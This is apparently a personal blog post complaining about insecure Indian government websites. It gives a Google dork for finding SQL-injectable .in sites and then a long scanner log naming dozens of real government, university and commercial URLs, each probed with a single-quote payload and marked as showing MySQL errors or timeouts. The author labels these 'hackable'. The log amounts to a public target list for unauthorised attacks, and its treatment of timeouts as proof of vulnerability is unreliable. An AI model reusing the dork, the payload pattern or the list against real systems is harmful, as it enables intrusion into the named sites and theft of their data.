Government websites are hackable!

The most unsecure websites in India are under .in domain because most of the .in domains are government websites 😛
Well.. Today i came to know about 1000’s of Indian websites in which the most basic web vulnerability SQLi is possible. It is very sad to know that a country with 4 million Computer Experts are unaware about the governments unsecure website. When the Pakisthani hackers hack into the Vulnuerable Government websites, the media gives a bug hype about the least effort done by Pakistani Cyber Army and also blame the Government. Being a Computer Security Enthusiast, i feel ashamed to live in a country, where 100’s of websites get hacked daily by the neighboring nations cyber army and we sit idle 😦 Its time to act against these and also to secure all our websites.

To find all such vulnerable .in domain websites: Just Google inurl:php=id? site:in government

I found some of the most vulnerable Indian websites which gave timeout and MySQL errors which means they are hackable 😀

Timed out => http://www.mea.gov.in/mystart.php?id='
Timed out => http://mea.gov.in/mystart.php?id='
Timed out => http://indiagovernance.gov.in/bestpractices.php?id='
Timed out => http://india.gov.in/knowindia/profile.php?id='
200 MySQL Server error => http://christuniversity.in/msgdisplay.php?id='&f=1
Timed out => http://meaindia.nic.in/mystart.php?id='
Timed out => http://india-ldc.nic.in/mystart.php?id='
Timed out => http://www.dgqadefence.gov.in/toplink.php?id=15&pid='
200 MySQL Server error => http://www.ias100.in/news_details.php?id='
200 MySQL Server error => http://www.mpuat.ac.in/index.php?id='&type=SP
200 MySQL Server error => http://www.mpuat.ac.in/index.php?id='&type=SP
Timed out => http://india.gov.in/spotlight/spotlight_archive.php?id='
Timed out => http://indiagovernance.gov.in/news.php?id='
Timed out => http://www.goavidhansabha.gov.in/member.php?id=65&flag='
200 MySQL Server error => http://www.jago.in/jago-more.php?id='&language=english
200 MySQL Server error => http://www.jago.in/jago-more.php?id='&language=english
200 MySQL Server error => http://www.witnesslive.in/view_story.php?id='
[*] Warning: Client error 404 Not Found, http://www.cci.gov.in/index.php?id=62&option=com_content&task='.
200 MySQL Server error => http://www.geca.ac.in/departments/department.php?id='
Timed out => http://rtiorissa.gov.in/dept_home.php?id=32&oid=106&sid='
[*] Warning: Client error 404 Not Found, http://goidirectory.gov.in/sitecounter.php?id='.
Timed out => http://www.mohfw.nic.in/showlink.php?id='
200 MySQL Server error => http://muta.in/morenews.php?id='&page=1
200 MySQL Server error => http://muta.in/morenews.php?id='&page=1
200 MySQL Server error => http://tnebengineers.in/cms.php?id='
200 MySQL Server error => http://tnebengineers.in/cms.php?id='
200 MySQL Server error => http://www.travelworldonline.in/topstory-longnews.php?id='
200 PHP error => http://www.travelworldonline.in/topstory-longnews.php?id='
Timed out => http://india.gov.in/knowindia/national_symbols.php?id='
Timed out => http://www.dgqadefence.gov.in/inner.php?id='
200 MySQL Server error => http://www.rbu.ac.in/notice.php?id='
200 MySQL Server error => http://www.adtu.in/course.php?ID='&q=course
200 MySQL Server error => http://www.adtu.in/course.php?ID='&q=course
Timed out => http://www.dmaran.nic.in/prdisplay.php?id='
Timed out => http://www.mahaforest.nic.in/internal.php?id='
200 MySQL Server error => http://www.aicc.net.in/site/home-layout.php?id='
200 MySQL Server error => http://www.aicc.net.in/site/home-layout.php?id='
200 MySQL Server error => http://www.cgc.edu.in/newsDetails.php?ID='
Timed out => http://www.goavidhansabha.gov.in/member-resolutions.php?id=33&flag='
Timed out => http://www.orissapanipanchayat.gov.in/test_ppi.php?id='
200 MySQL Server error => http://www.publicnotice.in/show_notice_details.php?id='
[*] Warning: Client error 403 Forbidden, http://www.ccaoi.in/UI/links/topnews_detail.php?id='.
200 MySQL Server error => http://www.dyfi.in/content.php?id='&action=content-list&title=About%20Us
Timed out => http://indiagovernance.gov.in/bookreview.php?id='
Timed out => http://india.gov.in/sectors/rural/index.php?id='
[*] Warning: Client error 404 NOT FOUND, http://www.marketflash.in/post/view_article.php?id='.
200 MySQL Server error => http://chils.in/showarticle.php?id='
200 MySQL Server error => http://chils.in/showarticle.php?id='
200 MySQL Server error => http://www.geca.ac.in/departments/hod.php?id='
Timed out => http://www.gov.in/spotlight/spotlight_archive.php?id='
200 MySQL Server error => http://academiclisting.zmu.in/read_in_details.php?id=755&&tbl='
200 MySQL Server error => http://academiclisting.zmu.in/read_in_details.php?id=755&&tbl='
[*] Warning: Client error 404 Not Found, http://agriforum.in/browse_categories.php?id='&location=4063.
200 MySQL Server error => http://dialnsearch.in/trade-lproducts-profile.php?id='
Timed out => http://india.gov.in/govt/empcorner.php?id='
200 MySQL Server error => http://mymlm.in/mlm-classifieds-details-posting.php?id='
200 MySQL Server error => http://mymlm.in/mlm-classifieds-details-posting.php?id='
[*] Warning: Client error 403 Forbidden, http://careerpulse.in/news-detail.php?id='.
200 MySQL Server error => http://www.kitco.in/filedownload.php?id='&type=notice
Error Connection timed out - connect(2), http://www.hcp.co.in/gallery.php?Id='&pg=2.
Error Connection timed out - connect(2), http://www.hcp.co.in/gallery.php?Id=122&pg='.
[*] Warning: Client error 404 Not Found, http://theindianschool.in/unilrn/mod/resource/view.php?id='.
200 PHP error => http://tvfry.in/p/ytube/details.php?id='&mobstream=rtsp://v2.cache4.c.youtube.com/CiILENy73wIaGQl7w5Gg0Prx9RMYDSANFEgGUgZ2aWRlb3MM/0/0/0/video.3gp
302 MySQL Server error => http://www.kannadadictionary.in/meaning.php?id='
302 MySQL Server error => http://www.bengalidictionary.in/meaning.php?id='
Error Connection timed out - connect(2), http://www.ccaoi.in/UI/links/NewsPressReleases.php?Id='&action=details.
Error Connection timed out - connect(2), http://www.ccaoi.in/UI/links/NewsPressReleases.php?Id=1236&action='.
Timed out => http://www.gov.in/howdo/onlineservice_detail.php?id='

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s